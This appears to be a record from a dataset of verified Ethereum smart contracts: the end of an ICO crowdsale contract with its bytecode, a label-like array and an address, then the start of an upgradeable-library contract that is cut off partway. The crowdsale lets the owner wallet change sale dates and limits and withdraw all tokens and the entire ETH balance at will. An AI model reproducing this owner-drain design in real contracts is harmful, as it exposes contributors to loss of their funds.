bool nonZeroPurchase = msg.value != 0; bool withinContributionLimit = msg.value >= minimumContribution && msg.value <= maximumContribution; return withinPeriod && nonZeroPurchase && withinContributionLimit; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } /** * function to change the end timestamp of the ico * can only be called by owner wallet **/ function changeEndDate(uint256 endTimeUnixTimestamp) public onlyOwner{ endTime = endTimeUnixTimestamp; } /** * function to change the start timestamp of the ico * can only be called by owner wallet **/ function changeStartDate(uint256 startTimeUnixTimestamp) public onlyOwner{ startTime = startTimeUnixTimestamp; } /** * function to pause the crowdsale * can only be called from owner wallet **/ function pauseCrowdsale() public onlyOwner { isCrowdsalePaused = true; } /** * function to resume the crowdsale if it is paused * can only be called from owner wallet **/ function resumeCrowdsale() public onlyOwner { isCrowdsalePaused = false; } function takeTokensBack() public onlyOwner { uint remainingTokensInTheContract = token.balanceOf(address(this)); token.transfer(owner,remainingTokensInTheContract); } /** * function to change the minimum contribution * can only be called from owner wallet **/ function changeMinimumContribution(uint256 minContribution) public onlyOwner { minimumContribution = minContribution; } /** * function to change the maximum contribution * can only be called from owner wallet **/ function changeMaximumContribution(uint256 maxContribution) public onlyOwner { maximumContribution = maxContribution; } /** * function to withdraw LongTermFoundationBudget funds to the owner wallet * can only be called from owner wallet **/ function withdrawLongTermFoundationBudget() public onlyOwner { require(LongTermFoundationBudgetAccumulated > 0); owner.transfer(LongTermFoundationBudgetAccumulated); LongTermFoundationBudgetAccumulated = 0; } /** * function to withdraw LegalContingencyFunds funds to the owner wallet * can only be called from owner wallet **/ function withdrawLegalContingencyFunds() public onlyOwner { require(LegalContingencyFundsAccumulated > 0); owner.transfer(LegalContingencyFundsAccumulated); LegalContingencyFundsAccumulated = 0; } /** * function to withdraw MarketingAndCommunityOutreach funds to the owner wallet * can only be called from owner wallet **/ function withdrawMarketingAndCommunityOutreach() public onlyOwner { require (MarketingAndCommunityOutreachAccumulated > 0); owner.transfer(MarketingAndCommunityOutreachAccumulated); MarketingAndCommunityOutreachAccumulated = 0; } /** * function to withdraw CashReserveFund funds to the owner wallet * can only be called from owner wallet **/ function withdrawCashReserveFund() public onlyOwner { require(CashReserveFundAccumulated > 0); owner.transfer(CashReserveFundAccumulated); CashReserveFundAccumulated = 0; } /** * function to withdraw OperationalExpenses funds to the owner wallet * can only be called from owner wallet **/ function withdrawOperationalExpenses() public onlyOwner { require(OperationalExpensesAccumulated > 0); owner.transfer(OperationalExpensesAccumulated); OperationalExpensesAccumulated = 0; } /** * function to withdraw SoftwareProductDevelopment funds to the owner wallet * can only be called from owner wallet **/ function withdrawSoftwareProductDevelopment() public onlyOwner { require (SoftwareProductDevelopmentAccumulated > 0); owner.transfer(SoftwareProductDevelopmentAccumulated); SoftwareProductDevelopmentAccumulated = 0; } /** * function to withdraw FoundersTeamAndAdvisors funds to the owner wallet * can only be called from owner wallet **/ function withdrawFoundersTeamAndAdvisors() public onlyOwner { require (FoundersTeamAndAdvisorsAccumulated > 0); owner.transfer(FoundersTeamAndAdvisorsAccumulated); FoundersTeamAndAdvisorsAccumulated = 0; } /** * function to withdraw all funds to the owner wallet * can only be called from owner wallet **/ function withdrawAllFunds() public onlyOwner { require (address(this).balance > 0); owner.transfer(address(this).balance); } }
0x6080604052600436106101475763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662739f2a811461015257806309e419d11461016a5780630c8f167e1461017f5780633197cbb6146101a657806334100027146101bb5780634042b66f146101d057806345737b1e146101e557806349649fbf146101fd57806358c6f08b1461021257806378e9792514610227578063799c04681461023c57806381f1f92a146102515780638da5cb5b14610266578063908b8cfc1461029757806392bf2bf1146102ac578063a8351c03146102c4578063bc7c322c146102d9578063c8fed3f6146102ee578063d0297bc614610303578063ec8ac4d81461031b578063ecb70fb71461032f578063f2fde38b14610358578063f5235a4614610379578063f6a60d891461038e578063fc0c546a146103a3575b610150336103b8565b005b34801561015e57600080fd5b50610150600435610567565b34801561017657600080fd5b50610150610583565b34801561018b57600080fd5b506101946105ec565b60408051918252519081900360200190f35b3480156101b257600080fd5b506101946105f2565b3480156101c757600080fd5b506101506105f8565b3480156101dc57600080fd5b50610194610661565b3480156101f157600080fd5b50610150600435610667565b34801561020957600080fd5b50610150610683565b34801561021e57600080fd5b506101506106e6565b34801561023357600080fd5b5061019461082f565b34801561024857600080fd5b50610150610835565b34801561025d57600080fd5b5061015061089e565b34801561027257600080fd5b5061027b610907565b60408051600160a060020a039092168252519081900360200190f35b3480156102a357600080fd5b50610150610916565b3480156102b857600080fd5b5061015060043561097f565b3480156102d057600080fd5b5061015061099b565b3480156102e557600080fd5b506101946109c1565b3480156102fa57600080fd5b506101506109c7565b34801561030f57600080fd5b50610150600435610a30565b610150600160a060020a03600435166103b8565b34801561033b57600080fd5b50610344610a4c565b604080519115158252519081900360200190f35b34801561036457600080fd5b50610150600160a060020a0360043516610a54565b34801561038557600080fd5b50610150610ae8565b34801561039a57600080fd5b50610150610b51565b3480156103af57600080fd5b5061027b610b74565b600080600160a060020a03831615156103d057600080fd5b600d5460ff16156103e057600080fd5b6103e8610b83565b15156103f357600080fd5b6007546006541061040357600080fd5b61041a34662386f26fc1000063ffffffff610bd716565b915061042582610bf3565b905060075461043f82600654610d2790919063ffffffff16565b111561044a57600080fd5b60055461045d903463ffffffff610d2716565b600555600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156104cf57600080fd5b505af11580156104e3573d6000803e3d6000fd5b505050506040513d60208110156104f957600080fd5b505060005460408051348152602081018490528151600160a060020a038088169416927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18928290030190a3600654610557908263ffffffff610d2716565b600655610562610d3d565b505050565b600054600160a060020a0316331461057e57600080fd5b600255565b600054600160a060020a0316331461059a57600080fd5b600f546000106105a957600080fd5b60008054600f54604051600160a060020a039092169281156108fc029290818181858888f193505050501580156105e4573d6000803e3d6000fd5b506000600f55565b60065481565b60035481565b600054600160a060020a0316331461060f57600080fd5b60105460001061061e57600080fd5b60008054601054604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610659573d6000803e3d6000fd5b506000601055565b60055481565b600054600160a060020a0316331461067e57600080fd5b600355565b600054600160a060020a0316331461069a57600080fd5b60003031116106a857600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f193505050501580156106e3573d6000803e3d6000fd5b50565b60008054600160a060020a031633146106fe57600080fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561080557600080fd5b505af1158015610819573d6000803e3d6000fd5b505050506040513d602081101561056257600080fd5b60025481565b600054600160a060020a0316331461084c57600080fd5b60115460001061085b57600080fd5b60008054601154604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610896573d6000803e3d6000fd5b506000601155565b600054600160a060020a031633146108b557600080fd5b6014546000106108c457600080fd5b60008054601454604051600160a060020a039092169281156108fc029290818181858888f193505050501580156108ff573d6000803e3d6000fd5b506000601455565b600054600160a060020a031681565b600054600160a060020a0316331461092d57600080fd5b60135460001061093c57600080fd5b60008054601354604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610977573d6000803e3d6000fd5b506000601355565b600054600160a060020a0316331461099657600080fd5b600b55565b600054600160a060020a031633146109b257600080fd5b600d805460ff19166001179055565b60045481565b600054600160a060020a031633146109de57600080fd5b6012546000106109ed57600080fd5b60008054601254604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610a28573d6000803e3d6000fd5b506000601255565b600054600160a060020a03163314610a4757600080fd5b600c55565b600354421190565b600054600160a060020a03163314610a6b57600080fd5b600160a060020a0381161515610a8057600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610aff57600080fd5b601554600010610b0e57600080fd5b60008054601554604051600160a060020a039092169281156108fc029290818181858888f19350505050158015610b49573d6000803e3d6000fd5b506000601555565b600054600160a060020a03163314610b6857600080fd5b600d805460ff19169055565b600154600160a060020a031681565b6000806000806002544210158015610b9d57506003544211155b925034600014159150600b543410158015610bba5750600c543411155b9050828015610bc65750815b8015610bcf5750805b935050505090565b6000808284811515610be557fe5b0490508091505b5092915050565b60025460009042038180610c10836201518063ffffffff610bd716565b915060009050600f821015610c9957600454610c3390869063ffffffff610ea616565b9350610c4a60085485610ea690919063ffffffff16565b9050610c5d81606463ffffffff610bd716565b9050610c6f848263ffffffff610d2716565b9350600754610c8985600654610d2790919063ffffffff16565b1115610c9457600080fd5b610d1f565b600f8210158015610caa5750601e82105b15610cda57600454610cc390869063ffffffff610ea616565b9350610c4a60095485610ea690919063ffffffff16565b601e8210158015610ceb5750602d82105b15610d1b57600454610d0490869063ffffffff610ea616565b9350610c4a600a5485610ea690919063ffffffff16565b5060005b505050919050565b600082820183811015610d3657fe5b9392505050565b6000349050610d7a610d6b6064610d5f60165485610ea690919063ffffffff16565b9063ffffffff610bd716565b600f549063ffffffff610d2716565b600f55601754610dab90610d9c90606490610d5f90859063ffffffff610ea616565b6010549063ffffffff610d2716565b601055601854610ddc90610dcd90606490610d5f90859063ffffffff610ea616565b6011549063ffffffff610d2716565b601155601954610e0d90610dfe90606490610d5f90859063ffffffff610ea616565b6012549063ffffffff610d2716565b601255601a54610e3e90610e2f90606490610d5f90859063ffffffff610ea616565b6013549063ffffffff610d2716565b601355601b54610e6f90610e6090606490610d5f90859063ffffffff610ea616565b6014549063ffffffff610d2716565b601455601c54610ea090610e9190606490610d5f90859063ffffffff610ea616565b6015549063ffffffff610d2716565b60155550565b600080831515610eb95760009150610bec565b50828202828482811515610ec957fe5b0414610d3657fe00a165627a7a7230582001567f603f6de46152812fedb987e3cc32d58cbaba0a6dcb2ce7539a48a5f4980029
[ 16, 7 ]
0xf2C33B7c6D6ca3896c9Bf22CBBA05922DfB416Fc
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ /** *Submitted for verification at Etherscan.io on 2022-02-27 */ /** *Submitted for verification at Etherscan.io on 2022-02-19 */ /** *Submitted for verification at Etherscan.io on 2022-02-18 */ /** *Submitted for verification at Etherscan.io on 2022-02-14 */ /** *Submitted for verification at Etherscan.io on 2022-02-10 */ /** *Submitted for verification at Etherscan.io on 2022-02-09 */ /** *Submitted for verification at Etherscan.io on 2022-02-08 */ /** *Submitted for verification at Etherscan.io on 2022-02-05 */ /** *Submitted for verification at Etherscan.io on 2022-01-22 */ // SPDX-License-Identifier: UNLICENSED /* made by cty0312 2022.01.22 **/ pragma solidity >=0.7.0 <0.9.0; library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require( _initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing {} function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function mintToken(address _address, uint256 _amount) external; /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, 